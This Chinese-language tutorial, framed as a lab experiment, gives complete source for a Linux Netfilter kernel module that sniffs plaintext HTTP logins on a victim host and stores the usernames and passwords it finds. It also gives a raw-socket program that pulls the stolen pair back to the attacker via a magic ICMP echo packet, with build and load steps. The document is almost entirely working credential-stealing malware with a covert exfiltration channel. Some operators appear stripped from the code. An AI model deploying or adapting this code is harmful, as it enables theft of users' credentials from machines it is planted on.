Netfilter编程实现用户名和密码的窃取
- 一、介绍
- 二、代码
- 三、运行
一、介绍
本实验窃取密码的前提是要明文传输，先必须找到一个登录页面是采用http协议（非https）的站点，一般的163邮箱都有相应的防御机制，建议使用自己学校的邮箱或门户，随意输入用户名和密码。
二、代码
sniff.c
代码语言：javascript复制#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/skbuff.h>
#include <linux/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/icmp.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
/* 使用ICMP_ECHO数据包 Code字段设置为0x5B 91 */
#define MAGIC_CODE 0x5B
/* 数据包在头后有足够的空间来容纳4字节的IP地址和用户名和密码字段，每个字段最多15个字符加上一个空字节。
* 因此，ICMP有效负载的总大小为36字节。
*/
#define REPLY_SIZE 36
/* "GPL" 是指明了 这是GNU General Public License的任意版本 */
MODULE_LICENSE("GPL");
/* ICMP有效载荷大小 计算方式是得到整个ip数据包的总长度 减去 ip头部大小 再减去 icmp头部大小 */
#define ICMP_PAYLOAD_SIZE (htons(ip_hdr(sb)->tot_len) - sizeof(struct iphdr) - sizeof(struct icmphdr))
/* username和password用来保存拿到的用户名/密码对
* 一次只能保留一个USER / PASS对，一旦发起请求将被清除。
*/
static char *username = NULL;
static char *password = NULL;
/* 标记我们是否已经有一对用户名/密码对 */
static int have_pair = 0;
/* 追踪信息。只记录转到的USER和PASS命令相同的IP地址和TCP端口目标ip 和 目标端口 */
static unsigned int target_ip = 0;
static unsigned short target_port = 0;
/* 用于描述我们的Netfilter挂钩
* nf_hook_ops数据结构在linux/netfilter.h中定义
* 我们定义两个nf_hook_ops结构体，一个传入的hook 和 一个传出的hook
struct nf_hook_ops
{
struct list_head list; //钩子链表
nf_hookfn *hook; //钩子处理函数
struct module *owner; //模块所有者
int pf; //钩子协议族
int hooknum; //钩子的位置值（PREROUTING、POSTOUTING、INPUT、FORWARD、OUTPUT五个位置）
int priority; //钩子的的优先级
}
*/
struct nf_hook_ops pre_hook;
struct nf_hook_ops post_hook;
/* 查看已知为HTTP数据包的sk_buff。查找USER和PASS字段，并确保它们都来自target_xxx字段中指示的一个主机 */
static void check_http(struct sk_buff *skb)
{
/* 定义一个tcphdr结构体 *TCP */
struct tcphdr *tcp;
char *data;
char *name;
char *passwd;
char *_and;
char *check_connection;
int len, i;
/* 从套接字缓冲区skb中获取tcp首部 */
tcp = tcp_hdr(skb);
/* data指向数据部分
* 系统位数导致强制类型转换错误 64位系统中指针类型8个字节，因此强转为int会出错，可以转成同样为8字节的long型
* 通过tcp首部位置 tcp长度doff*4字节（以4B为单位） 算出数据区域的位置 data
* 这里是结构体，所以需要类型转换，并且第一个变量的强转类型不能去掉
*/
data = (char *)((unsigned long)tcp (unsigned long)(tcp->doff * 4));
/* Cookie中不包含password，但其包含的uid及domain往往并非采用密码登录的用户，先将其排除 */
if(strstr(data,"Cookie") != NULL){
data = strstr(data,"Cookie");
if(strstr(data,"rn")!= NULL)
data = strstr(data,"rn"); //匹配Cookie结尾处的回车换行rn
else return;
}
/* 判断"Upgrade-In"在data中，判断"uid"在data中，判断"password"在data中 */
if (strstr(data, "Upgrade-In") != NULL && strstr(data, "uid") != NULL && strstr(data, "password") != NULL)
{
/* 返回在data中首次出现Upgrade-In的地址 */
check_connection = strstr(data, "Upgrade-In");
/* 返回check_connection之后首次出现uid的地址 */
name = strstr(check_connection, "uid=");
/* 返回name之后首次出现&的地址 */
_and = strstr(name, "&");
/* 将name往后移动4字节，因为“uid=”占了四字节，所以移动之后name就是所存储的uid了 */
name = 4;
/* 这是uid的长度，用&位置减去uid开始的位置 */
len = _and - name;
/* 在内核中给这个username分配内存大小。len 2是因为还需要结束符 */
if ((username = kmalloc(len 2, GFP_KERNEL)) == NULL)
return;
/* 将username开始的len 2字节设置为0x00，其实就是初始化 */
memset(username, 0x00, len 2);
/* 用一个for循环将获取的uid放到username中 */
for (i = 0; i < len; i)
{
*(username i) = name[i];
}
*(username len) = ' ';
/* 这里获取密码和上面获取用户名用的是一样的方法 */
passwd = strstr(name,"password=");
_and = strstr(passwd,"&");
passwd = 9;
len = _and - passwd;
if ((password = kmalloc(len 2, GFP_KERNEL)) == NULL)
return;
memset(password, 0x00, len 2);
for (i = 0; i < len; i)
{
*(password i) = passwd[i];
}
*(password len) = ' ';
} else {
/* 如果数据区域data中没有上面三个字段则直接返回 */
return;
}
/* 获取32位目的ip，从ip首部的daddr字段中获取 */
if (!target_ip)
target_ip = ip_hdr(skb)->daddr;
/* 获取16位源端口号，从tcp首部的source中获取 */
if (!target_port)
target_port = tcp->source;
/* username和password都获取到了，将have_pair变为1 */
if (username && password)
have_pair ;
/* 获取到一个用户名/密码对，have_pair就为1了 ，并将获取到的用户米和密码输出 */
if (have_pair)
printk("Have password pair! U: %s P: %sn", username, password);
}
/* 函数称为POST_ROUTING（最后）钩子。它会检查FTP流量然后搜索该流量的USER和PASS命令 */
static unsigned int watch_out(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
struct sk_buff *sb = skb;
struct tcphdr *tcp;
/* 首先确保这是一个TCP数据包 */
if (ip_hdr(sb)->protocol != IPPROTO_TCP)
return NF_ACCEPT;
/* ip的首部长度*4字节（以4B为单位）就是跳过ip首部 到达icmp首部的位置*/
tcp = (struct tcphdr *)((sb->data) (ip_hdr(sb)->ihl * 4));
/* 16位目标端口号，现在检查它是否是一个HTTP包 */
if (tcp->dest != htons(80))
return NF_ACCEPT;
/* 如果还未获取到用户名密码对，则调用check_HTTP（）去获取 */
if (!have_pair)
check_http(sb);
/* Netfilter返回值，保留该数据包 */
return NF_ACCEPT;
}
/* 监视“Magic”数据包的传入ICMP流量的过程。
* 收到后，我们调整skb结构发送回复，回到请求主机并告诉Netfilter我们偷了包。
*/
static unsigned int watch_in(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
/* 让传入的缓冲skb存到sb中 */
struct sk_buff *sb = skb;
/* 定义一个icmp首部指针 */
struct icmphdr *icmp;
/* 我们将数据复制到回复中 */
char *cp_data;
/* Temporary IP holder */
unsigned int taddr;
/* 我判断是否已经获取到用户名/密码对了 */
if (!have_pair)
return NF_ACCEPT;
/* 判断这是不是一个ICMP包 */
if (ip_hdr(sb)->protocol != IPPROTO_ICMP)
return NF_ACCEPT;
/* ip的首部长度*4字节（以4B为单位）就是跳过ip首部 到达icmp首部的位置 */
icmp = (struct icmphdr *)(sb->data ip_hdr(sb)->ihl * 4);
/* 判断这是不是一个MAGIC包 0x58，icmp类型是不是ICMP_ECHO（8或者0）,icmp有效载荷是不是大于等于36 */
if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO || ICMP_PAYLOAD_SIZE < REPLY_SIZE) {
return NF_ACCEPT;
}
/* 开始调整skb结构发送回复：
* 将ip首部中的源地址和目的地址互换
*/
taddr = ip_hdr(sb)->saddr;
ip_hdr(sb)->saddr = ip_hdr(sb)->daddr;
ip_hdr(sb)->daddr = taddr;
/* 帧的类型为 PACKET_OUTGOING */
sb->pkt_type = PACKET_OUTGOING;
/* struct net_device * dev; 表示一个网络设备
* 设备所属类型，ARP模块中，用type判断接口的硬件地址类型，以太网接口为ARPHRD_ETHER
*/
switch (sb->dev->type) {
//512
case ARPHRD_PPP:
break;
// 772 环回设备
case ARPHRD_LOOPBACK:
// 1 以太网10Mbps
case ARPHRD_ETHER:
{
/* #define ETH_ALEN 6 定义了以太网接口的MAC地址的长度为6个字节 */
unsigned char t_hwaddr[ETH_ALEN];
/* 移动数据指针指向链接层头部 */
sb->data = (unsigned char *)eth_hdr(sb);
/* 跳过mac地址 sizeof(sb->mac.ethernet); */
sb->len = ETH_HLEN;
/*交换mac源地址和mac目的地址*/
/*将目的地址放到t_HWADDR*/
memcpy(t_hwaddr, (eth_hdr(sb)->h_dest), ETH_ALEN);
/*将源地址放到原目的地址的地方*/
memcpy((eth_hdr(sb)->h_dest), (eth_hdr(sb)->h_source),
ETH_ALEN);
memcpy((eth_hdr(sb)->h_source), t_hwaddr, ETH_ALEN);
break;
}
};
/* 现在将IP地址，然后用户名，然后密码复制到数据包 */
/* cp_data指向数据部分，这里是跳过icmp首部 */
cp_data = (char *)((char *)icmp sizeof(struct icmphdr));
/* 将目标的ip地址放到数据区域 */
memcpy(cp_data, &target_ip, 4);
/*将用户名和密码放到cp_data中*/
if (username)
/*跳过上面用掉的4字节*/
memcpy(cp_data 4, username, 16);
if (password)
/*跳过上面用掉的20字节*/
memcpy(cp_data 20, password, 16);
/* 排队发包，dev_queue_xmit这个网络设备接口层函数发送给driver */
dev_queue_xmit(sb);
/* 现在释放保存的用户名和密码并重置have_pair */
kfree(username);
kfree(password);
username = password = NULL;
have_pair = 0;
target_port = target_ip = 0;
/*忘掉该数据包*/
return NF_STOLEN;
}
/*
内核模块中的两个函数 init_module() ：表示起始 和 cleanup_module() ：表示结束
*/
int init_module()
{
/*hook函数指针指向watc_in*/
pre_hook.hook = watch_in;
/*协议簇为ipv4*/
pre_hook.pf = PF_INET;
/*优先级最高*/
pre_hook.priority = NF_IP_PRI_FIRST;
/*hook的类型为在完整性校验之后，选路确定之前*/
pre_hook.hooknum = NF_INET_PRE_ROUTING;
/*hook函数指针指向watc_out*/
post_hook.hook = watch_out;
/*协议簇为ipv4*/
post_hook.pf = PF_INET;
/*优先级最高*/
post_hook.priority = NF_IP_PRI_FIRST;
/*hook的类型为在完数据包离开本地主机“上线”之前*/
post_hook.hooknum = NF_INET_POST_ROUTING;
/*将pre_hook和post_hook注册，注册实际上就是在一个nf_hook_ops链表中再插入一个nf_hook_ops结构*/
nf_register_net_hook(&init_net ,&pre_hook);
nf_register_net_hook(&init_net ,&post_hook);
return 0;
}
void cleanup_module()
{
/*将pre_hook和post_hook取消注册，取消注册实际上就是在一个nf_hook_ops链表中删除一个nf_hook_ops结构*/
nf_unregister_net_hook(&init_net ,&post_hook);
nf_unregister_net_hook(&init_net ,&pre_hook);
/*释放之前分配的内核空间*/
if (password)
kfree(password);
if (username)
kfree(username);
}getpass.c
代码语言：javascript复制#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
/* We want the proper headers */
// #ifndef __USE_BSD
// #define __USE_BSD
// #endif
static unsigned short checksum(int numwords, unsigned short *buff)
{
unsigned long sum;
for(sum = 0;numwords > 0;numwords--)
sum = *buff ;
sum = (sum >> 16) (sum & 0xFFFF);
sum = (sum >> 16);
return ~sum;
}
int main(int argc, char *argv[])
{
/* 发送的数据包 */
unsigned char dgram[256];
/* 接收的数据包 */
unsigned char recvbuff[256];
/* iphead指向ip头部 */
struct ip *iphead = (struct ip *)dgram;
/* icmphead指向icmp头部 sizeof(ip)是跳过ip头部 */
struct icmp *icmphead = (struct icmp *)(dgram sizeof(struct ip));
/* 源地址 */
struct sockaddr_in src;
/* 目的地址 */
struct sockaddr_in addr;
/* 攻击者 */
struct in_addr my_addr;
/* ftp server ip地址，这里是我们登陆邮箱的远程服务主机地址 */
struct in_addr serv_addr;
/* 源地址的大小 */
socklen_t src_addr_size = sizeof(struct sockaddr_in);
int icmp_sock = 0;
/* 缓冲区 */
int one = 1;
/* 缓冲区的头部指针 */
int *ptr_one = &one;
/* 若没有传入两个参数：被攻击和攻击主机IP则直接退出 */
if (argc < 3) {
fprintf(stderr, "Usage: %s remoteIP myIPn", argv[0]);
exit(1);
}
/* 获取一个socket，协议簇用的是ipv4，AF_INET和PF_INET是一样的, SOCK_RAW表示我们自己来构建这个数据包，类型为ICMP数据包 */
if ((icmp_sock = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) {
fprintf(stderr, "Couldn't open raw socket! %sn",
strerror(errno));
exit(1);
}
/** 设置sock选项，使用ip协议来解析，IP_HDRINCL表示我们自己来填充数据
* 这里的setsockopt的作用实际上是告诉主机我要来自行定义ip头部信息，跟上面的socket设置为raw和icmp作用类似，告诉主机我需要自行定义的部分
*/
if(setsockopt(icmp_sock, IPPROTO_IP, IP_HDRINCL, ptr_one, sizeof(one)) < 0) {
close(icmp_sock);
fprintf(stderr, "Couldn't set HDRINCL option! %sn",
strerror(errno));
exit(1);
}
/* 将目的地址的协议簇设置为ipv4 */
addr.sin_family = AF_INET;
/* 受害ip */
addr.sin_addr.s_addr = inet_addr(argv[1]);
/* 攻击者ip */
my_addr.s_addr = inet_addr(argv[2]);
/*将ptr指向的内存块的第一个num字节设置为指定值*/
/*将dgram初始化为全0*/
memset(dgram, 0x00, 256);
/*将recvbuff初始化为全0*/
memset(recvbuff, 0x00, 256);
/* 为ip头部填充数据 */
iphead->ip_hl = 5; //4位 ip首部长度
iphead->ip_v = 4; //
iphead->ip_tos = 0; //8位 服务类型
iphead->ip_len = 84; // 实际长度不需要84
iphead->ip_id = (unsigned short)rand(); //16位 可以初始化为0
iphead->ip_off = 0; //13位 分段偏移
iphead->ip_ttl = 128; //8位 生存时间
iphead->ip_p = IPPROTO_ICMP; //8位 icmp协议
iphead->ip_sum = 0; //校验和初始化为0
iphead->ip_src = my_addr; //攻击者主机ip
iphead->ip_dst = addr.sin_addr; //被攻击者主机ip
/* 为icmp头部填充数据 */
icmphead->icmp_type = ICMP_ECHO; //类型为icmp回复报文
icmphead->icmp_code = 0x5B; //watch_in()中判断的icmp_code一致
icmphead->icmp_cksum = checksum(42, (unsigned short *)icmphead); //icmp的校验和需要计算头部和数据部分
/* 将我们构造好的包发出去 */
fprintf(stdout, "Sending request...n");
if (sendto(icmp_sock, dgram, 64, 0, (struct sockaddr *)&addr, sizeof(struct sockaddr)) < 0) { // 64 = 20 8 36
fprintf(stderr, "nFailed sending request! %sn",
strerror(errno));
return 0;
}
/* 接受回复包 */
fprintf(stdout, "Waiting for reply...n");
if (recvfrom(icmp_sock, recvbuff, 256, 0, (struct sockaddr *)&src, &src_addr_size) < 0) {
fprintf(stdout, "Failed getting reply packet! %sn",
strerror(errno));
close(icmp_sock);
exit(1);
}
/* 分别获得收到的数据包ip头部位置和icmp头部位置 */
iphead = (struct ip *)recvbuff;
icmphead = (struct icmp *)(recvbuff sizeof(struct ip));
/* 将获取到的包的icmp数据部分复制到serv_addr */
memcpy(&serv_addr, ((char *)icmphead 8), sizeof (struct in_addr));
// fprintf(stdout, "Stolen for http server %s:n", inet_ntoa(serv_addr));
// fprintf(stdout, "Userid: %sn" , (char *)((char *)icmphead 12));
// fprintf(stdout, "Domain: %sn" , (char *)((char *)icmphead 24));
// fprintf(stdout, "Password: %sn", (char *)((char *)icmphead 40));
fprintf(stdout, "Stolen for ftp server %s:n", inet_ntoa(serv_addr));
/* 根据自定义的REPLY_SIZE=4 16 16=36字节 */
fprintf(stdout, "Username: %sn", (char *)((char *)icmphead 12)); //8 4
fprintf(stdout, "Password: %sn", (char *)((char *)icmphead 28)); //12 16
close(icmp_sock);
return 0;
}Makefile
代码语言：javascript复制obj-m = sniff.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean三、运行
在受害者主机拷贝sniff.c和Makefile文件，通过make编译一下内核。
再将ko文件加载到内核。
$ sudo insmod sniff.ko在攻击者主机gcc编译c文件，运行getpass文件。
代码语言：javascript复制$ sudo ./getpass ${attack ip} ${victim ip}可以通过dmesg查看设备printk信息
结果：这里为了简单起见直接用一个虚拟机实现了，抓取数据只有36字节（4 16 16）。
